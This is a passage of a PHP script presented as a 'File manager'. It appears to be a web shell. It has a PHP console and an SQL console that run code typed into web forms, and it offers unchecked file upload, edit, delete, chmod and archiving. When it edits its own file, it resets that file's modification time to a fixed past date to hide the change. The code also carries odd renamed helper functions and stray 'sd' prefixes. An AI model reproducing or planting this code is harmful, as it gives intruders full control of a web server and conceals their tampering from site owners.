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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
